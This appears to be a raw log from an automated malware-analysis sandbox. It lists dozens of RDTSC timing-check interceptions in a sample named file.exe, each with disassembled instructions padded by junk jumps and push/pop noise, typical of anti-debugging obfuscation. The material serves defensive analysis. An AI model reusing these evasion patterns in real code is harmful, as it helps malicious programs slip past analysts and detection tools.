Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D8116E second address: 4D811E2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9420DD1F49h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edi 0x0000000a pushad 0x0000000b pushfd 0x0000000c jmp 00007F9420DD1F3Ch 0x00000011 or si, 04D8h 0x00000016 jmp 00007F9420DD1F3Bh 0x0000001b popfd 0x0000001c pushfd 0x0000001d jmp 00007F9420DD1F48h 0x00000022 or si, CF38h 0x00000027 jmp 00007F9420DD1F3Bh 0x0000002c popfd 0x0000002d popad 0x0000002e test eax, eax 0x00000030 push eax 0x00000031 push edx 0x00000032 pushad 0x00000033 mov di, 3726h 0x00000037 mov eax, ebx 0x00000039 popad 0x0000003a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D811E2 second address: 4D812B9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov edx, eax 0x00000005 mov edi, esi 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jne 00007F9490588886h 0x00000010 jmp 00007F942050A39Ch 0x00000015 mov edx, dword ptr [ebp+08h] 0x00000018 pushad 0x00000019 jmp 00007F942050A39Eh 0x0000001e call 00007F942050A3A2h 0x00000023 mov si, E041h 0x00000027 pop eax 0x00000028 popad 0x00000029 mov eax, dword ptr [esi] 0x0000002b pushad 0x0000002c mov dx, DFBEh 0x00000030 pushfd 0x00000031 jmp 00007F942050A39Fh 0x00000036 adc si, B46Eh 0x0000003b jmp 00007F942050A3A9h 0x00000040 popfd 0x00000041 popad 0x00000042 mov dword ptr [edx], eax 0x00000044 jmp 00007F942050A39Eh 0x00000049 mov eax, dword ptr [esi+04h] 0x0000004c jmp 00007F942050A3A0h 0x00000051 mov dword ptr [edx+04h], eax 0x00000054 jmp 00007F942050A3A0h 0x00000059 mov eax, dword ptr [esi+08h] 0x0000005c jmp 00007F942050A3A0h 0x00000061 mov dword ptr [edx+08h], eax 0x00000064 push eax 0x00000065 push edx 0x00000066 push eax 0x00000067 push edx 0x00000068 jmp 00007F942050A39Ah 0x0000006d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D812B9 second address: 4D812BF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D812BF second address: 4D8138E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F942050A39Ch 0x00000009 add eax, 3C2897D8h 0x0000000f jmp 00007F942050A39Bh 0x00000014 popfd 0x00000015 jmp 00007F942050A3A8h 0x0000001a popad 0x0000001b pop edx 0x0000001c pop eax 0x0000001d mov eax, dword ptr [esi+0Ch] 0x00000020 jmp 00007F942050A3A0h 0x00000025 mov dword ptr [edx+0Ch], eax 0x00000028 pushad 0x00000029 push esi 0x0000002a pushad 0x0000002b popad 0x0000002c pop ebx 0x0000002d popad 0x0000002e mov eax, dword ptr [esi+10h] 0x00000031 pushad 0x00000032 call 00007F942050A3A7h 0x00000037 mov ax, 5D3Fh 0x0000003b pop esi 0x0000003c popad 0x0000003d mov dword ptr [edx+10h], eax 0x00000040 pushad 0x00000041 pushfd 0x00000042 jmp 00007F942050A39Dh 0x00000047 or ch, FFFFFFE6h 0x0000004a jmp 00007F942050A3A1h 0x0000004f popfd 0x00000050 popad 0x00000051 mov eax, dword ptr [esi+14h] 0x00000054 jmp 00007F942050A39Eh 0x00000059 mov dword ptr [edx+14h], eax 0x0000005c jmp 00007F942050A3A0h 0x00000061 mov eax, dword ptr [esi+18h] 0x00000064 push eax 0x00000065 push edx 0x00000066 pushad 0x00000067 mov ch, 07h 0x00000069 popad 0x0000006a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D8138E second address: 4D813C9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov ecx, 6C0305E7h 0x00000008 mov esi, 67F01983h 0x0000000d popad 0x0000000e pop edx 0x0000000f pop eax 0x00000010 mov dword ptr [edx+18h], eax 0x00000013 pushad 0x00000014 push eax 0x00000015 push edx 0x00000016 pushfd 0x00000017 jmp 00007F9420DD1F42h 0x0000001c sbb esi, 316DC548h 0x00000022 jmp 00007F9420DD1F3Bh 0x00000027 popfd 0x00000028 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D813C9 second address: 4D81410 instructions: 0x00000000 rdtsc 0x00000002 pushfd 0x00000003 jmp 00007F942050A3A8h 0x00000008 add cx, 87A8h 0x0000000d jmp 00007F942050A39Bh 0x00000012 popfd 0x00000013 pop edx 0x00000014 pop eax 0x00000015 push eax 0x00000016 mov bx, A24Ah 0x0000001a pop edi 0x0000001b popad 0x0000001c mov eax, dword ptr [esi+1Ch] 0x0000001f push eax 0x00000020 push edx 0x00000021 jmp 00007F942050A39Dh 0x00000026 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D81410 second address: 4D8150E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov edi, 03100652h 0x00000008 push edi 0x00000009 pop eax 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d mov dword ptr [edx+1Ch], eax 0x00000010 jmp 00007F9420DD1F45h 0x00000015 mov eax, dword ptr [esi+20h] 0x00000018 pushad 0x00000019 pushfd 0x0000001a jmp 00007F9420DD1F3Ch 0x0000001f sub eax, 7D166F98h 0x00000025 jmp 00007F9420DD1F3Bh 0x0000002a popfd 0x0000002b jmp 00007F9420DD1F48h 0x00000030 popad 0x00000031 mov dword ptr [edx+20h], eax 0x00000034 pushad 0x00000035 mov ebx, eax 0x00000037 mov cx, 0709h 0x0000003b popad 0x0000003c mov eax, dword ptr [esi+24h] 0x0000003f jmp 00007F9420DD1F44h 0x00000044 mov dword ptr [edx+24h], eax 0x00000047 jmp 00007F9420DD1F40h 0x0000004c mov eax, dword ptr [esi+28h] 0x0000004f jmp 00007F9420DD1F40h 0x00000054 mov dword ptr [edx+28h], eax 0x00000057 pushad 0x00000058 call 00007F9420DD1F3Eh 0x0000005d jmp 00007F9420DD1F42h 0x00000062 pop eax 0x00000063 mov dx, F156h 0x00000067 popad 0x00000068 mov ecx, dword ptr [esi+2Ch] 0x0000006b jmp 00007F9420DD1F3Dh 0x00000070 mov dword ptr [edx+2Ch], ecx 0x00000073 jmp 00007F9420DD1F3Eh 0x00000078 mov ax, word ptr [esi+30h] 0x0000007c push eax 0x0000007d push edx 0x0000007e push eax 0x0000007f push edx 0x00000080 push eax 0x00000081 push edx 0x00000082 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D8150E second address: 4D81512 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D81512 second address: 4D8152F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9420DD1F49h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D8152F second address: 4D8153F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F942050A39Ch 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D8153F second address: 4D81543 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D81543 second address: 4D81555 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov word ptr [edx+30h], ax 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D81555 second address: 4D8156D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9420DD1F44h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D8156D second address: 4D815D0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F942050A3A1h 0x00000009 add esi, 3A0796D6h 0x0000000f jmp 00007F942050A3A1h 0x00000014 popfd 0x00000015 pushfd 0x00000016 jmp 00007F942050A3A0h 0x0000001b jmp 00007F942050A3A5h 0x00000020 popfd 0x00000021 popad 0x00000022 pop edx 0x00000023 pop eax 0x00000024 mov ax, word ptr [esi+32h] 0x00000028 push eax 0x00000029 push edx 0x0000002a pushad 0x0000002b mov bh, A0h 0x0000002d mov edi, ecx 0x0000002f popad 0x00000030 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D815D0 second address: 4D815E0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F9420DD1F3Ch 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D815E0 second address: 4D8163F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F942050A39Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov word ptr [edx+32h], ax 0x0000000f jmp 00007F942050A3A6h 0x00000014 mov eax, dword ptr [esi+34h] 0x00000017 pushad 0x00000018 mov esi, 0463063Dh 0x0000001d pushfd 0x0000001e jmp 00007F942050A39Ah 0x00000023 jmp 00007F942050A3A5h 0x00000028 popfd 0x00000029 popad 0x0000002a mov dword ptr [edx+34h], eax 0x0000002d push eax 0x0000002e push edx 0x0000002f push eax 0x00000030 push edx 0x00000031 push eax 0x00000032 push edx 0x00000033 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D8163F second address: 4D81643 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D81643 second address: 4D81656 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F942050A39Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D81656 second address: 4D816B1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9420DD1F49h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 test ecx, 00000700h 0x0000000f pushad 0x00000010 mov si, FF33h 0x00000014 movzx ecx, di 0x00000017 popad 0x00000018 jne 00007F9490E4FFCBh 0x0000001e pushad 0x0000001f mov ah, dl 0x00000021 mov ah, 45h 0x00000023 popad 0x00000024 or dword ptr [edx+38h], FFFFFFFFh 0x00000028 jmp 00007F9420DD1F45h 0x0000002d or dword ptr [edx+3Ch], FFFFFFFFh 0x00000031 push eax 0x00000032 push edx 0x00000033 push eax 0x00000034 push edx 0x00000035 pushad 0x00000036 popad 0x00000037 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D816B1 second address: 4D816B7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D816B7 second address: 4D816BC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D816BC second address: 4D816ED instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushfd 0x00000005 jmp 00007F942050A39Eh 0x0000000a adc cx, 94C8h 0x0000000f jmp 00007F942050A39Bh 0x00000014 popfd 0x00000015 popad 0x00000016 pop edx 0x00000017 pop eax 0x00000018 or dword ptr [edx+40h], FFFFFFFFh 0x0000001c push eax 0x0000001d push edx 0x0000001e push eax 0x0000001f push edx 0x00000020 push eax 0x00000021 push edx 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D816ED second address: 4D816F1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D816F1 second address: 4D8170C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F942050A3A7h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D8170C second address: 4D81711 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D81711 second address: 4D81752 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 mov dl, 9Ah 0x00000006 popad 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop esi 0x0000000a jmp 00007F942050A39Ch 0x0000000f pop ebx 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 pushfd 0x00000014 jmp 00007F942050A39Dh 0x00000019 add si, D5F6h 0x0000001e jmp 00007F942050A3A1h 0x00000023 popfd 0x00000024 push eax 0x00000025 push edx 0x00000026 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D81752 second address: 4D81757 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DA069F second address: 4DA06A3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DA06A3 second address: 4DA06B6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9420DD1F3Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DA06B6 second address: 4DA0703 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov eax, edx 0x00000005 mov dh, DAh 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a xchg eax, ebp 0x0000000b jmp 00007F942050A39Ah 0x00000010 push eax 0x00000011 pushad 0x00000012 movsx edi, ax 0x00000015 pushfd 0x00000016 jmp 00007F942050A39Ah 0x0000001b sbb ah, FFFFFFD8h 0x0000001e jmp 00007F942050A39Bh 0x00000023 popfd 0x00000024 popad 0x00000025 xchg eax, ebp 0x00000026 push eax 0x00000027 push edx 0x00000028 jmp 00007F942050A3A5h 0x0000002d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D602F7 second address: 4D60326 instructions: 0x00000000 rdtsc 0x00000002 movzx esi, bx 0x00000005 pop edx 0x00000006 pop eax 0x00000007 mov ecx, ebx 0x00000009 popad 0x0000000a mov ebp, esp 0x0000000c jmp 00007F9420DD1F45h 0x00000011 push dword ptr [ebp+04h] 0x00000014 pushad 0x00000015 mov si, 8EA3h 0x00000019 push eax 0x0000001a push edx 0x0000001b mov si, 3E15h 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D60326 second address: 4D60347 instructions: 0x00000000 rdtsc 0x00000002 mov cx, A691h 0x00000006 pop edx 0x00000007 pop eax 0x00000008 popad 0x00000009 push dword ptr [ebp+0Ch] 0x0000000c jmp 00007F942050A39Ch 0x00000011 push dword ptr [ebp+08h] 0x00000014 push eax 0x00000015 push edx 0x00000016 push eax 0x00000017 push edx 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D60347 second address: 4D6034B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D6034B second address: 4D60368 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F942050A3A9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D81B5D second address: 4D81B63 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D81B63 second address: 4D81B69 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D81B69 second address: 4D81B6D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D81B6D second address: 4D81B71 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D81B71 second address: 4D81C21 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 pushad 0x0000000a pushfd 0x0000000b jmp 00007F9420DD1F45h 0x00000010 sub ecx, 5B5A8F26h 0x00000016 jmp 00007F9420DD1F41h 0x0000001b popfd 0x0000001c pushad 0x0000001d movzx ecx, dx 0x00000020 pushfd 0x00000021 jmp 00007F9420DD1F43h 0x00000026 sub ax, 325Eh 0x0000002b jmp 00007F9420DD1F49h 0x00000030 popfd 0x00000031 popad 0x00000032 popad 0x00000033 xchg eax, ebp 0x00000034 pushad 0x00000035 mov al, 4Ah 0x00000037 pushfd 0x00000038 jmp 00007F9420DD1F49h 0x0000003d sub eax, 46953B46h 0x00000043 jmp 00007F9420DD1F41h 0x00000048 popfd 0x00000049 popad 0x0000004a mov ebp, esp 0x0000004c push eax 0x0000004d push edx 0x0000004e push eax 0x0000004f push edx 0x00000050 pushad 0x00000051 popad 0x00000052 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D81C21 second address: 4D81C27 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D81A1A second address: 4D81A65 instructions: 0x00000000 rdtsc 0x00000002 pushfd 0x00000003 jmp 00007F9420DD1F42h 0x00000008 sbb si, 9908h 0x0000000d jmp 00007F9420DD1F3Bh 0x00000012 popfd 0x00000013 pop edx 0x00000014 pop eax 0x00000015 popad 0x00000016 xchg eax, ebp 0x00000017 jmp 00007F9420DD1F46h 0x0000001c push eax 0x0000001d push eax 0x0000001e push edx 0x0000001f pushad 0x00000020 mov bx, ax 0x00000023 mov di, cx 0x00000026 popad 0x00000027 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D81A65 second address: 4D81AA8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F942050A3A5h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a jmp 00007F942050A39Eh 0x0000000f mov ebp, esp 0x00000011 push eax 0x00000012 push edx 0x00000013 jmp 00007F942050A3A7h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D81AA8 second address: 4D81ACB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9420DD1F49h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop ebp 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d mov ebx, eax 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D404B8 second address: 4D404BE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D404BE second address: 4D404C2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D404C2 second address: 4D404E3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F942050A3A3h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov ebp, esp 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D404E3 second address: 4D404E7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D404E7 second address: 4D404ED instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D404ED second address: 4D4050A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F9420DD1F49h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D4050A second address: 4D40582 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F942050A3A1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov ecx, dword ptr [ebp+08h] 0x0000000e pushad 0x0000000f pushfd 0x00000010 jmp 00007F942050A39Ch 0x00000015 sbb eax, 4F824348h 0x0000001b jmp 00007F942050A39Bh 0x00000020 popfd 0x00000021 mov dh, ch 0x00000023 popad 0x00000024 mov eax, 00000000h 0x00000029 pushad 0x0000002a pushfd 0x0000002b jmp 00007F942050A39Eh 0x00000030 xor ax, 05A8h 0x00000035 jmp 00007F942050A39Bh 0x0000003a popfd 0x0000003b movzx ecx, dx 0x0000003e popad 0x0000003f inc eax 0x00000040 push eax 0x00000041 push edx 0x00000042 jmp 00007F942050A39Eh 0x00000047 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D40582 second address: 4D405BF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov ch, bl 0x00000005 mov edi, ecx 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a lock xadd dword ptr [ecx], eax 0x0000000e pushad 0x0000000f movzx esi, di 0x00000012 popad 0x00000013 inc eax 0x00000014 jmp 00007F9420DD1F49h 0x00000019 pop ebp 0x0000001a push eax 0x0000001b push edx 0x0000001c jmp 00007F9420DD1F3Dh 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D90D9C second address: 4D90DF4 instructions: 0x00000000 rdtsc 0x00000002 pushfd 0x00000003 jmp 00007F942050A3A8h 0x00000008 adc esi, 525554B8h 0x0000000e jmp 00007F942050A39Bh 0x00000013 popfd 0x00000014 pop edx 0x00000015 pop eax 0x00000016 popad 0x00000017 xchg eax, ebp 0x00000018 jmp 00007F942050A3A6h 0x0000001d push eax 0x0000001e push eax 0x0000001f push edx 0x00000020 jmp 00007F942050A39Eh 0x00000025 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D90DF4 second address: 4D90E34 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov al, bh 0x00000005 mov si, FF19h 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c xchg eax, ebp 0x0000000d jmp 00007F9420DD1F44h 0x00000012 mov ebp, esp 0x00000014 jmp 00007F9420DD1F40h 0x00000019 mov eax, dword ptr [ebp+08h] 0x0000001c push eax 0x0000001d push edx 0x0000001e pushad 0x0000001f push edi 0x00000020 pop esi 0x00000021 mov di, 111Ch 0x00000025 popad 0x00000026 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D90CB8 second address: 4D90CBE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D90CBE second address: 4D90CC2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D90CC2 second address: 4D90CE2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, ebp 0x00000009 jmp 00007F942050A39Fh 0x0000000e mov ebp, esp 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D90CE2 second address: 4D90CE6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D90CE6 second address: 4D90D01 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F942050A3A7h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D90D01 second address: 4D90D2E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9420DD1F49h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop ebp 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F9420DD1F3Dh 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D90D2E second address: 4D90D35 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D90B65 second address: 4D90BE9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9420DD1F47h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push ecx 0x0000000a pushfd 0x0000000b jmp 00007F9420DD1F3Fh 0x00000010 and cl, 0000003Eh 0x00000013 jmp 00007F9420DD1F49h 0x00000018 popfd 0x00000019 pop eax 0x0000001a popad 0x0000001b push ebp 0x0000001c jmp 00007F9420DD1F3Ch 0x00000021 mov dword ptr [esp], ebp 0x00000024 jmp 00007F9420DD1F40h 0x00000029 mov ebp, esp 0x0000002b jmp 00007F9420DD1F40h 0x00000030 pop ebp 0x00000031 push eax 0x00000032 push edx 0x00000033 push eax 0x00000034 push edx 0x00000035 push eax 0x00000036 push edx 0x00000037 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D90BE9 second address: 4D90BED instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D90BED second address: 4D90BF1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D90BF1 second address: 4D90BF7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DA0B15 second address: 4DA0B1B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DA0B1B second address: 4DA0B92 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov ch, D2h 0x00000005 pushfd 0x00000006 jmp 00007F942050A3A7h 0x0000000b or esi, 27A069BEh 0x00000011 jmp 00007F942050A3A9h 0x00000016 popfd 0x00000017 popad 0x00000018 pop edx 0x00000019 pop eax 0x0000001a xchg eax, ebp 0x0000001b pushad 0x0000001c mov edx, ecx 0x0000001e pushfd 0x0000001f jmp 00007F942050A3A8h 0x00000024 sub esi, 1EBD99E8h 0x0000002a jmp 00007F942050A39Bh 0x0000002f popfd 0x00000030 popad 0x00000031 push eax 0x00000032 push eax 0x00000033 push edx 0x00000034 push eax 0x00000035 push edx 0x00000036 push eax 0x00000037 push edx 0x00000038 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DA0B92 second address: 4DA0B96 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
